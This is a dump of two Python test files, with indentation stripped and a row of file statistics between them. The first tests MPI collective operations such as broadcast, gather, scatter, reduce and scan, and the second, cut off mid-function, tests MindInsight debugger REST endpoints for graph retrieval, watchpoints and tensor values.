try:
typecode = a.typecode
except AttributeError:
typecode = a.dtype.char
if typecode == ('f'):
return 1e30
elif typecode == ('d'):
return 1e300
else:
return 2 ** (a.itemsize * 7) - 1
class BaseTestCCOBuf(object):
COMM = MPI.COMM_NULL
def testBarrier(self):
self.COMM.Barrier()
def testBcast(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for root in range(size):
if rank == root:
buf = array(root, typecode, root)
else:
buf = array( -1, typecode, root)
self.COMM.Bcast(buf.as_mpi(), root=root)
for value in buf:
self.assertEqual(value, root)
def testGather(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for root in range(size):
sbuf = array(root, typecode, root+1)
if rank == root:
rbuf = array(-1, typecode, (size,root+1))
else:
rbuf = array([], typecode)
self.COMM.Gather(sbuf.as_mpi(), rbuf.as_mpi(),
root=root)
if rank == root:
for value in rbuf.flat:
self.assertEqual(value, root)
def testScatter(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for root in range(size):
rbuf = array(-1, typecode, size)
if rank == root:
sbuf = array(root, typecode, (size, size))
else:
sbuf = array([], typecode)
self.COMM.Scatter(sbuf.as_mpi(), rbuf.as_mpi(),
root=root)
for value in rbuf:
self.assertEqual(value, root)
def testAllgather(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for root in range(size):
sbuf = array(root, typecode, root+1)
rbuf = array( -1, typecode, (size, root+1))
self.COMM.Allgather(sbuf.as_mpi(), rbuf.as_mpi())
for value in rbuf.flat:
self.assertEqual(value, root)
def testAlltoall(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for root in range(size):
sbuf = array(root, typecode, (size, root+1))
rbuf = array( -1, typecode, (size, root+1))
self.COMM.Alltoall(sbuf.as_mpi(), rbuf.as_mpi_c(root+1))
for value in rbuf.flat:
self.assertEqual(value, root)
def assertAlmostEqual(self, first, second):
num = complex(second-first)
den = complex(second+first)/2 or 1.0
if (abs(num/den) > 1e-2):
raise self.failureException('%r != %r' % (first, second))
def testReduce(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN):
if skip_op(typecode, op): continue
for root in range(size):
sbuf = array(range(size), typecode)
rbuf = array(-1, typecode, size)
self.COMM.Reduce(sbuf.as_mpi(),
rbuf.as_mpi(),
op, root)
max_val = maxvalue(rbuf)
for i, value in enumerate(rbuf):
if rank != root:
self.assertEqual(value, -1)
continue
if op == MPI.SUM:
if (i * size) < max_val:
self.assertAlmostEqual(value, i*size)
elif op == MPI.PROD:
if (i ** size) < max_val:
self.assertAlmostEqual(value, i**size)
elif op == MPI.MAX:
self.assertEqual(value, i)
elif op == MPI.MIN:
self.assertEqual(value, i)
def testAllreduce(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for op in (MPI.SUM, MPI.MAX, MPI.MIN, MPI.PROD):
if skip_op(typecode, op): continue
sbuf = array(range(size), typecode)
rbuf = array(0, typecode, size)
self.COMM.Allreduce(sbuf.as_mpi(),
rbuf.as_mpi(),
op)
max_val = maxvalue(rbuf)
for i, value in enumerate(rbuf):
if op == MPI.SUM:
if (i * size) < max_val:
self.assertAlmostEqual(value, i*size)
elif op == MPI.PROD:
if (i ** size) < max_val:
self.assertAlmostEqual(value, i**size)
elif op == MPI.MAX:
self.assertEqual(value, i)
elif op == MPI.MIN:
self.assertEqual(value, i)
def testReduceScatter(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for op in (MPI.SUM, MPI.MAX, MPI.MIN, MPI.PROD):
if skip_op(typecode, op): continue
rcnt = list(range(1,size+1))
sbuf = array([rank+1]*sum(rcnt), typecode)
rbuf = array(-1, typecode, rank+1)
self.COMM.Reduce_scatter(sbuf.as_mpi(),
rbuf.as_mpi(),
None, op)
max_val = maxvalue(rbuf)
for i, value in enumerate(rbuf):
if op == MPI.SUM:
redval = sum(range(size))+size
if redval < max_val:
self.assertAlmostEqual(value, redval)
elif op == MPI.PROD:
redval = prod(range(1,size+1))
if redval < max_val:
self.assertAlmostEqual(value, redval)
elif op == MPI.MAX:
self.assertEqual(value, size)
elif op == MPI.MIN:
self.assertEqual(value, 1)
rbuf = array(-1, typecode, rank+1)
self.COMM.Reduce_scatter(sbuf.as_mpi(),
rbuf.as_mpi(),
rcnt, op)
max_val = maxvalue(rbuf)
for i, value in enumerate(rbuf):
if op == MPI.SUM:
redval = sum(range(size))+size
if redval < max_val:
self.assertAlmostEqual(value, redval)
elif op == MPI.PROD:
redval = prod(range(1,size+1))
if redval < max_val:
self.assertAlmostEqual(value, redval)
elif op == MPI.MAX:
self.assertEqual(value, size)
elif op == MPI.MIN:
self.assertEqual(value, 1)
def testReduceScatterBlock(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for op in (MPI.SUM, MPI.MAX, MPI.MIN, MPI.PROD):
if skip_op(typecode, op): continue
for rcnt in range(1,size):
sbuf = array([rank]*rcnt*size, typecode)
rbuf = array(-1, typecode, rcnt)
if op == MPI.PROD:
sbuf = array([rank+1]*rcnt*size, typecode)
self.COMM.Reduce_scatter_block(sbuf.as_mpi(),
rbuf.as_mpi(),
op)
max_val = maxvalue(rbuf)
v_sum = (size*(size-1))/2
v_prod = 1
for i in range(1,size+1): v_prod *= i
v_max = size-1
v_min = 0
for i, value in enumerate(rbuf):
if op == MPI.SUM:
if v_sum <= max_val:
self.assertAlmostEqual(value, v_sum)
elif op == MPI.PROD:
if v_prod <= max_val:
self.assertAlmostEqual(value, v_prod)
elif op == MPI.MAX:
self.assertEqual(value, v_max)
elif op == MPI.MIN:
self.assertEqual(value, v_min)
def testScan(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
# --
for array, typecode in arrayimpl.subTest(self):
for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN):
if skip_op(typecode, op): continue
sbuf = array(range(size), typecode)
rbuf = array(0, typecode, size)
self.COMM.Scan(sbuf.as_mpi(),
rbuf.as_mpi(),
op)
max_val = maxvalue(rbuf)
for i, value in enumerate(rbuf):
if op == MPI.SUM:
if (i * (rank + 1)) < max_val:
self.assertAlmostEqual(value, i * (rank + 1))
elif op == MPI.PROD:
if (i ** (rank + 1)) < max_val:
self.assertAlmostEqual(value, i ** (rank + 1))
elif op == MPI.MAX:
self.assertEqual(value, i)
elif op == MPI.MIN:
self.assertEqual(value, i)
def testExscan(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN):
if skip_op(typecode, op): continue
sbuf = array(range(size), typecode)
rbuf = array(0, typecode, size)
try:
self.COMM.Exscan(sbuf.as_mpi(),
rbuf.as_mpi(),
op)
except NotImplementedError:
self.skipTest('mpi-exscan')
if rank == 1:
for i, value in enumerate(rbuf):
self.assertEqual(value, i)
elif rank > 1:
max_val = maxvalue(rbuf)
for i, value in enumerate(rbuf):
if op == MPI.SUM:
if (i * rank) < max_val:
self.assertAlmostEqual(value, i * rank)
elif op == MPI.PROD:
if (i ** rank) < max_val:
self.assertAlmostEqual(value, i ** rank)
elif op == MPI.MAX:
self.assertEqual(value, i)
elif op == MPI.MIN:
self.assertEqual(value, i)
def testBcastTypeIndexed(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
datatype = array.TypeMap[typecode]
for root in range(size):
#
if rank == root:
buf = array(range(10), typecode).as_raw()
else:
buf = array(-1, typecode, 10).as_raw()
indices = list(range(0, len(buf), 2))
newtype = datatype.Create_indexed_block(1, indices)
newtype.Commit()
newbuf = (buf, 1, newtype)
self.COMM.Bcast(newbuf, root=root)
newtype.Free()
if rank != root:
for i, value in enumerate(buf):
if (i % 2):
self.assertEqual(value, -1)
else:
self.assertEqual(value, i)
#
if rank == root:
buf = array(range(10), typecode).as_raw()
else:
buf = array(-1, typecode, 10).as_raw()
indices = list(range(1, len(buf), 2))
newtype = datatype.Create_indexed_block(1, indices)
newtype.Commit()
newbuf = (buf, 1, newtype)
self.COMM.Bcast(newbuf, root)
newtype.Free()
if rank != root:
for i, value in enumerate(buf):
if not (i % 2):
self.assertEqual(value, -1)
else:
self.assertEqual(value, i)
class BaseTestCCOBufInplace(object):
def testGather(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for root in range(size):
count = root+3
if rank == root:
sbuf = MPI.IN_PLACE
buf = array(-1, typecode, (size, count))
#buf.flat[(rank*count):((rank+1)*count)] = \
# array(root, typecode, count)
s, e = rank*count, (rank+1)*count
for i in range(s, e): buf.flat[i] = root
rbuf = buf.as_mpi()
else:
buf = array(root, typecode, count)
sbuf = buf.as_mpi()
rbuf = None
self.COMM.Gather(sbuf, rbuf, root=root)
for value in buf.flat:
self.assertEqual(value, root)
@unittest.skipMPI('msmpi(==10.0.0)')
def testScatter(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for root in range(size):
for count in range(1, 10):
if rank == root:
buf = array(root, typecode, (size, count))
sbuf = buf.as_mpi()
rbuf = MPI.IN_PLACE
else:
buf = array(-1, typecode, count)
sbuf = None
rbuf = buf.as_mpi()
self.COMM.Scatter(sbuf, rbuf, root=root)
for value in buf.flat:
self.assertEqual(value, root)
def testAllgather(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for count in range(1, 10):
buf = array(-1, typecode, (size, count))
#buf.flat[(rank*count):((rank+1)*count)] = \
# array(count, typecode, count)
s, e = rank*count, (rank+1)*count
for i in range(s, e): buf.flat[i] = count
self.COMM.Allgather(MPI.IN_PLACE, buf.as_mpi())
for value in buf.flat:
self.assertEqual(value, count)
def assertAlmostEqual(self, first, second):
num = complex(second-first)
den = complex(second+first)/2 or 1.0
if (abs(num/den) > 1e-2):
raise self.failureException('%r != %r' % (first, second))
def testReduce(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN):
if skip_op(typecode, op): continue
for root in range(size):
count = size
if rank == root:
buf = array(range(size), typecode)
sbuf = MPI.IN_PLACE
rbuf = buf.as_mpi()
else:
buf = array(range(size), typecode)
buf2 = array(range(size), typecode)
sbuf = buf.as_mpi()
rbuf = buf2.as_mpi()
self.COMM.Reduce(sbuf, rbuf, op, root)
if rank == root:
max_val = maxvalue(buf)
for i, value in enumerate(buf):
if op == MPI.SUM:
if (i * size) < max_val:
self.assertAlmostEqual(value, i*size)
elif op == MPI.PROD:
if (i ** size) < max_val:
self.assertAlmostEqual(value, i**size)
elif op == MPI.MAX:
self.assertEqual(value, i)
elif op == MPI.MIN:
self.assertEqual(value, i)
def testAllreduce(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for op in (MPI.SUM, MPI.MAX, MPI.MIN, MPI.PROD):
if skip_op(typecode, op): continue
buf = array(range(size), typecode)
sbuf = MPI.IN_PLACE
rbuf = buf.as_mpi()
self.COMM.Allreduce(sbuf, rbuf, op)
max_val = maxvalue(buf)
for i, value in enumerate(buf):
if op == MPI.SUM:
if (i * size) < max_val:
self.assertAlmostEqual(value, i*size)
elif op == MPI.PROD:
if (i ** size) < max_val:
self.assertAlmostEqual(value, i**size)
elif op == MPI.MAX:
self.assertEqual(value, i)
elif op == MPI.MIN:
self.assertEqual(value, i)
def testReduceScatterBlock(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for op in (MPI.SUM, MPI.MAX, MPI.MIN, MPI.PROD):
if skip_op(typecode, op): continue
for rcnt in range(size):
if op == MPI.PROD:
rbuf = array([rank+1]*rcnt*size, typecode)
else:
rbuf = array([rank]*rcnt*size, typecode)
self.COMM.Reduce_scatter_block(MPI.IN_PLACE,
rbuf.as_mpi(),
op)
max_val = maxvalue(rbuf)
for i, value in enumerate(rbuf):
if i >= rcnt:
if op == MPI.PROD:
self.assertEqual(value, rank+1)
else:
self.assertEqual(value, rank)
else:
if op == MPI.SUM:
redval = sum(range(size))
if redval < max_val:
self.assertAlmostEqual(value, redval)
elif op == MPI.PROD:
redval = prod(range(1,size+1))
if redval < max_val:
self.assertAlmostEqual(value, redval)
elif op == MPI.MAX:
self.assertEqual(value, size-1)
elif op == MPI.MIN:
self.assertEqual(value, 0)
@unittest.skipMPI('MVAPICH2')
def testReduceScatter(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for op in (MPI.SUM, MPI.MAX, MPI.MIN, MPI.PROD):
if skip_op(typecode, op): continue
rcnt = list(range(1, size+1))
if op == MPI.PROD:
rbuf = array([rank+1]*sum(rcnt), typecode)
else:
rbuf = array([rank]*sum(rcnt), typecode)
self.COMM.Reduce_scatter(MPI.IN_PLACE,
rbuf.as_mpi(),
rcnt, op)
max_val = maxvalue(rbuf)
for i, value in enumerate(rbuf):
if i >= rcnt[rank]:
if op == MPI.PROD:
self.assertEqual(value, rank+1)
else:
self.assertEqual(value, rank)
else:
if op == MPI.SUM:
redval = sum(range(size))
if redval < max_val:
self.assertAlmostEqual(value, redval)
elif op == MPI.PROD:
redval = prod(range(1,size+1))
if redval < max_val:
self.assertAlmostEqual(value, redval)
elif op == MPI.MAX:
self.assertEqual(value, size-1)
elif op == MPI.MIN:
self.assertEqual(value, 0)
@unittest.skipMPI('openmpi(<=1.8.4)')
def testScan(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
# --
for array, typecode in arrayimpl.subTest(self):
for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN):
if skip_op(typecode, op): continue
buf = array(range(size), typecode)
self.COMM.Scan(MPI.IN_PLACE,
buf.as_mpi(),
op)
max_val = maxvalue(buf)
for i, value in enumerate(buf):
if op == MPI.SUM:
if (i * (rank + 1)) < max_val:
self.assertAlmostEqual(value, i * (rank + 1))
elif op == MPI.PROD:
if (i ** (rank + 1)) < max_val:
self.assertAlmostEqual(value, i ** (rank + 1))
elif op == MPI.MAX:
self.assertEqual(value, i)
elif op == MPI.MIN:
self.assertEqual(value, i)
@unittest.skipMPI('openmpi(<=1.8.4)')
@unittest.skipMPI('msmpi(<=4.2.0)')
def testExscan(self):
size = self.COMM.Get_size()
rank = self.COMM.Get_rank()
for array, typecode in arrayimpl.subTest(self):
for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN):
if skip_op(typecode, op): continue
buf = array(range(size), typecode)
try:
self.COMM.Exscan(MPI.IN_PLACE,
buf.as_mpi(),
op)
except NotImplementedError:
self.skipTest('mpi-exscan')
if rank == 1:
for i, value in enumerate(buf):
self.assertEqual(value, i)
elif rank > 1:
max_val = maxvalue(buf)
for i, value in enumerate(buf):
if op == MPI.SUM:
if (i * rank) < max_val:
self.assertAlmostEqual(value, i * rank)
elif op == MPI.PROD:
if (i ** rank) < max_val:
self.assertAlmostEqual(value, i ** rank)
elif op == MPI.MAX:
self.assertEqual(value, i)
elif op == MPI.MIN:
self.assertEqual(value, i)
class TestReduceLocal(unittest.TestCase):
def testReduceLocal(self):
for array, typecode in arrayimpl.subTest(self):
if unittest.is_mpi_gpu('openmpi', array): continue
for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN):
if skip_op(typecode, op): continue
size = 5
sbuf = array(range(1,size+1), typecode)
rbuf = array(range(0,size+0), typecode)
try:
op.Reduce_local(sbuf.as_mpi(), rbuf.as_mpi())
except NotImplementedError:
self.skipTest('mpi-op-reduce_local')
for i, value in enumerate(rbuf):
self.assertEqual(sbuf[i], i+1)
if op == MPI.SUM:
self.assertAlmostEqual(value, i+(i+1))
elif op == MPI.PROD:
self.assertAlmostEqual(value, i*(i+1))
elif op == MPI.MAX:
self.assertEqual(value, i+1)
elif op == MPI.MIN:
self.assertEqual(value, i)
def testReduceLocalBadCount(self):
for array, typecode in arrayimpl.subTest(self):
if unittest.is_mpi_gpu('openmpi', array): continue
for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN):
sbuf = array(range(3), typecode)
rbuf = array(range(3), typecode)
def f(): op.Reduce_local(sbuf.as_mpi_c(2),
rbuf.as_mpi_c(3))
self.assertRaises(ValueError, f)
def f(): op.Reduce_local([sbuf.as_raw(), 1, MPI.INT],
[rbuf.as_raw(), 1, MPI.SHORT])
self.assertRaises(ValueError, f)
class TestCCOBufSelf(BaseTestCCOBuf, unittest.TestCase):
COMM = MPI.COMM_SELF
class TestCCOBufWorld(BaseTestCCOBuf, unittest.TestCase):
COMM = MPI.COMM_WORLD
@unittest.skipMPI('MPICH1')
@unittest.skipMPI('LAM/MPI')
@unittest.skipIf(MPI.IN_PLACE == MPI.BOTTOM, 'mpi-in-place')
class TestCCOBufInplaceSelf(BaseTestCCOBufInplace, unittest.TestCase):
COMM = MPI.COMM_SELF
@unittest.skipMPI('MPICH1')
@unittest.skipMPI('LAM/MPI')
@unittest.skipIf(MPI.IN_PLACE == MPI.BOTTOM, 'mpi-in-place')
class TestCCOBufInplaceWorld(BaseTestCCOBufInplace, unittest.TestCase):
COMM = MPI.COMM_WORLD
@unittest.skipMPI('IntelMPI', MPI.COMM_WORLD.Get_size() > 1)
def testReduceScatter(self):
super(TestCCOBufInplaceWorld, self).testReduceScatter()
class TestCCOBufSelfDup(TestCCOBufSelf):
def setUp(self):
self.COMM = MPI.COMM_SELF.Dup()
def tearDown(self):
self.COMM.Free()
@unittest.skipMPI('openmpi(<1.4.0)', MPI.Query_thread() > MPI.THREAD_SINGLE)
class TestCCOBufWorldDup(TestCCOBufWorld):
def setUp(self):
self.COMM = MPI.COMM_WORLD.Dup()
def tearDown(self):
self.COMM.Free()
if __name__ == '__main__':
unittest.main()
| 43.001524
| 76
| 0.443617
| 2,887
| 28,209
| 4.263942
| 0.059577
| 0.045491
| 0.076361
| 0.057027
| 0.853615
| 0.82567
| 0.779773
| 0.740617
| 0.71251
| 0.701462
| 0
| 0.010465
| 0.454607
| 28,209
| 655
| 77
| 43.067176
| 0.789665
| 0.00553
| 0
| 0.777409
| 0
| 0
| 0.007987
| 0
| 0
| 0
| 0
| 0
| 0.13289
| 1
| 0.05814
| false
| 0
| 0.006645
| 0
| 0.096346
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1677a12f3d735b64d9c8b1b667493a1042c64120
| 35,126
|
py
|
Python
|
tests/st/func/debugger/test_restful_api.py
|
mindspore-ai/mindinsight
|
8c57fdd62eb7f8653662be2208633386ac82e8d7
|
[
"Apache-2.0"
] | 216
|
2020-03-28T02:11:56.000Z
|
2022-03-31T06:20:09.000Z
|
tests/st/func/debugger/test_restful_api.py
|
mindspore-ai/mindinsight
|
8c57fdd62eb7f8653662be2208633386ac82e8d7
|
[
"Apache-2.0"
] | 13
|
2020-03-31T03:00:12.000Z
|
2021-01-03T13:01:06.000Z
|
tests/st/func/debugger/test_restful_api.py
|
mindspore-ai/mindinsight
|
8c57fdd62eb7f8653662be2208633386ac82e8d7
|
[
"Apache-2.0"
] | 21
|
2020-03-28T02:41:06.000Z
|
2021-11-24T12:20:25.000Z
|
# Copyright 2020-2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""
Function:
Test query debugger restful api.
Usage:
pytest tests/st/func/debugger/test_restful_api.py
"""
import os
import time
from urllib.parse import quote
import pytest
from mindinsight.conf import settings
from mindinsight.debugger.common.utils import ServerStatus
from tests.st.func.debugger.conftest import DEBUGGER_BASE_URL
from tests.st.func.debugger.mock_ms_client import MockDebuggerClient
from tests.st.func.debugger.utils import check_state, get_request_result, \
send_and_compare_result, send_and_save_result
def send_terminate_cmd(app_client):
"""Send terminate command to debugger client."""
url = os.path.join(DEBUGGER_BASE_URL, 'control')
body_data = {'mode': 'terminate'}
send_and_compare_result(app_client, url, body_data)
class TestAscendDebugger:
"""Test debugger on Ascend backend."""
@classmethod
def setup_class(cls):
"""Setup class."""
cls.save_results = False
cls._debugger_client = MockDebuggerClient(backend='Ascend')
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
def test_before_train_begin(self, app_client):
"""Test retrieve all."""
url = 'retrieve'
body_data = {'mode': 'all'}
expect_file = 'before_train_begin.json'
send_and_compare_result(app_client, url, body_data, expect_file)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.parametrize("body_data, expect_file", [
({'mode': 'all'}, 'retrieve_all.json'),
({'mode': 'node', 'params': {'name': 'Default'}}, 'retrieve_scope_node.json'),
({'mode': 'node', 'params': {'name': 'Default/optimizer-Momentum/Parameter[18]_7'}},
'retrieve_aggregation_scope_node.json'),
({'mode': 'node', 'params': {
'name': 'Default/TransData-op99',
'single_node': True}}, 'retrieve_single_node.json')
])
def test_retrieve_when_train_begin(self, app_client, body_data, expect_file):
"""Test retrieve when train_begin."""
url = 'retrieve'
with self._debugger_client.get_thread_instance():
check_state(app_client)
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file)
send_and_compare_result(app_client, url, body_data, expect_file)
send_terminate_cmd(app_client)
def test_get_conditions(self, app_client):
"""Test get conditions for ascend."""
url = '/v1/mindinsight/debugger/sessions/0/condition-collections'
body_data = {}
expect_file = 'get_conditions_for_ascend.json'
with self._debugger_client.get_thread_instance():
check_state(app_client)
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file, method='get', full_url=True)
send_and_compare_result(app_client, url, body_data, expect_file, method='get', full_url=True)
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.parametrize("body_data, expect_file", [
({'mode': 'all'}, 'multi_retrieve_all.json'),
({'mode': 'node', 'params': {'name': 'Default', 'graph_name': 'graph_1'}}, 'retrieve_scope_node.json'),
({'mode': 'node', 'params': {'name': 'graph_0'}}, 'multi_retrieve_scope_node.json'),
({'mode': 'node', 'params': {'name': 'graph_0/Default/optimizer-Momentum/Parameter[18]_7'}},
'multi_retrieve_aggregation_scope_node.json'),
({'mode': 'node', 'params': {
'name': 'graph_0/Default/TransData-op99',
'single_node': True}}, 'multi_retrieve_single_node.json'),
({'mode': 'node', 'params': {
'name': 'Default/TransData-op99',
'single_node': True, 'graph_name': 'graph_0'}}, 'retrieve_single_node.json')
])
def test_multi_retrieve_when_train_begin(self, app_client, body_data, expect_file):
"""Test retrieve when train_begin."""
url = 'retrieve'
debugger_client = MockDebuggerClient(backend='Ascend', graph_num=2)
with debugger_client.get_thread_instance():
check_state(app_client)
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file)
send_and_compare_result(app_client, url, body_data, expect_file)
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
def test_create_and_delete_watchpoint(self, app_client):
"""Test create and delete watchpoint."""
with self._debugger_client.get_thread_instance():
check_state(app_client)
conditions = [
{'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]},
{'id': 'tensor_too_small', 'params': [{'name': 'max_lt', 'value': -1.0}]},
{'id': 'tensor_too_large', 'params': [{'name': 'min_gt', 'value': 1e+32}]},
{'id': 'tensor_too_small', 'params': [{'name': 'min_lt', 'value': -1e+32}]},
{'id': 'tensor_too_large', 'params': [{'name': 'mean_gt', 'value': 0}]},
{'id': 'tensor_too_small', 'params': [{'name': 'mean_lt', 'value': 0}]}
]
for idx, condition in enumerate(conditions):
create_watchpoint(app_client, condition, idx + 1)
# delete 4-th watchpoint
url = 'delete-watchpoint'
body_data = {'watch_point_id': 4}
get_request_result(app_client, url, body_data)
# test watchpoint list
url = 'retrieve'
body_data = {'mode': 'watchpoint'}
expect_file = 'create_and_delete_watchpoint.json'
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file)
send_and_compare_result(app_client, url, body_data, expect_file)
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
def test_update_watchpoint(self, app_client):
"""Test retrieve when train_begin."""
watch_point_id = 1
leaf_node_name = 'Default/optimizer-Momentum/Parameter[18]_7/moments.fc3.bias'
with self._debugger_client.get_thread_instance():
check_state(app_client)
condition = {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]}
create_watchpoint(app_client, condition, watch_point_id)
# update watchpoint watchpoint list
url = 'update-watchpoint'
body_data = {'watch_point_id': watch_point_id,
'watch_nodes': [leaf_node_name],
'mode': 1}
get_request_result(app_client, url, body_data)
# get updated nodes
url = 'search'
body_data = {'name': leaf_node_name, 'watch_point_id': watch_point_id}
expect_file = 'search_unwatched_leaf_node.json'
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file, method='get')
send_and_compare_result(app_client, url, body_data, expect_file, method='get')
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
def test_retrieve_tensor_history(self, app_client):
"""Test retrieve tensor value."""
node_name = 'Default/TransData-op99'
with self._debugger_client.get_thread_instance():
check_state(app_client)
# prepare tensor value
url = 'tensor-history'
body_data = {'name': node_name, 'rank_id': 0}
expect_file = 'retrieve_empty_tensor_history.json'
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file)
send_and_compare_result(app_client, url, body_data, expect_file)
# check full tensor history from poll data
res = get_request_result(
app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get')
assert res.get('receive_tensor', {}).get('node_name') == node_name, 'Node name unmatched.'
expect_file = 'retrieve_full_tensor_history.json'
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file)
send_and_compare_result(app_client, url, body_data, expect_file)
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
def test_retrieve_tensor_value(self, app_client):
"""Test retrieve tensor value."""
node_name = 'Default/TransData-op99'
with self._debugger_client.get_thread_instance():
check_state(app_client)
# prepare tensor value
url = 'tensor-history'
body_data = {'name': node_name, 'rank_id': 0}
get_request_result(app_client, url, body_data, method='post')
get_request_result(app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get')
url = 'tensors'
body_data = {
'name': node_name + ':0',
'detail': 'data',
'shape': quote('[1, 1:3]')
}
get_request_result(app_client, url, body_data, method='GET')
# sleep 0.01 second to wait the tensor update.
time.sleep(0.01)
res = get_request_result(
app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get')
assert res.get('receive_tensor', {}).get('node_name') == node_name, 'Node name unmatched.'
expect_file = 'retrieve_tensor_value.json'
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file, method='get')
send_and_compare_result(app_client, url, body_data, expect_file, method='get')
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
def test_compare_tensor_value(self, app_client):
"""Test compare tensor value."""
node_name = 'Default/args0'
with self._debugger_client.get_thread_instance():
check_state(app_client)
# prepare tensor values
url = 'control'
body_data = {'mode': 'continue',
'steps': 2}
get_request_result(app_client, url, body_data)
check_state(app_client)
get_request_result(
app_client=app_client, url='tensor-history', body_data={'name': node_name, 'rank_id': 0})
res = get_request_result(
app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get')
assert res.get('receive_tensor', {}).get('node_name') == node_name, 'Node name unmatched.'
# get compare results
url = 'tensor-comparisons'
body_data = {
'name': node_name + ':0',
'detail': 'data',
'shape': quote('[:, :]'),
'tolerance': 1,
'rank_id': 0}
get_request_result(app_client, url, body_data, method='GET')
# sleep 0.01 second to wait the tensor update.
time.sleep(0.01)
res = get_request_result(
